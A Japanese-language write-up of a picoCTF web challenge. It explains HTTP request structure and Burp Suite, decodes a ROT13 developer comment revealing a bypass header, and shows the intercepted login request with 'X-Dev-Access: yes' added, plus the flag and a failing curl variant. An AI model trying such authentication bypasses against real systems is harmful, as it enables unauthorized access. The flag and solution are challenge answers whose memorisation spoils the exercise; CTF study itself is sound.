問題リンク
https://play.picoctf.org/practice/challenge/520
概要
ログインフォームが与えられ、「emailは特定したので 侵入してね」というもの
予備知識
HTTPリクエスト
webページでなにかを送受信したりするときは大抵HTTP(HTTPS) メッセージでやり取りをする。
HTTPメッセージの中でリクエストメッセージのフォーマットは 次の通りになっている
POST /login HTTP/1.1 ←リクエストライン
hoge: aaa ←メッセージヘッダーが空行まで続く
fuga: bbb
{"hogehoge": "" ←ここからメッセージボディ
...
}
リクエストラインは宛先、メッセージヘッダーはメタ情報、 メッセージボディは送りたいもの本体みたいなイメージ
burpsuite
ブラウザからHTTPリクエストを送る時に、「送る前に一旦 内部で止めて書き換えてから送る」を可能にするソフト
解き方
「開発者が秘密裏に取り残した」とか書いてあるので、 ブラウザのDeveloperツールでコードを見てみると
<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
<!-- Remove before pushing to production! -->
というコメント文があることに気づく
base64ではなさそうなのでROT13を試すと
NOTE: Jack - temporary bypass: use header "X-Dev-Access: yes
という文字列に復号できた
ここでheaderに"X-Dev-Access: yes"を追加すればいいとわかるので、
burpsuiteを起動→burpsuiteのproxyタブからburpsuiteブラウザ起動→ 競技サイトを開く
をして、interceptをオンにする
その後、テキトーにログインフォームを入れてsubmitすると burpsuite上でリクエストメッセージが編集できる
以下のようにX-Dev-Access: yesをメッセージヘッダーに追記して
forwardするとフラグが得られる
POST /login HTTP/1.1
Host: amiable-citadel.picoctf.net:50726
Content-Length: 52
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://amiable-citadel.picoctf.net:50726
Referer: http://amiable-citadel.picoctf.net:50726/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Dev-Access: yes
{"email":"ctf-player@picoctf.org","password":"hoge"}
成功すると"login successful!“の文字とともにアラートでフラグがもらえる
picoCTF{brut4_f0rc4_49d1d186}
注:curlでX-Dev-Accessだけ投げても解けない
curlコマンドで
curl -X POST \
-H "X-Dev-Access: yes" \
-d '{"email":"ctf-player@picoctf.org", "password": "hoge"}' \
http://amiable-citadel.picoctf.net:54051/login
とするだけだと他のヘッダーが異なるので弾かれてしまう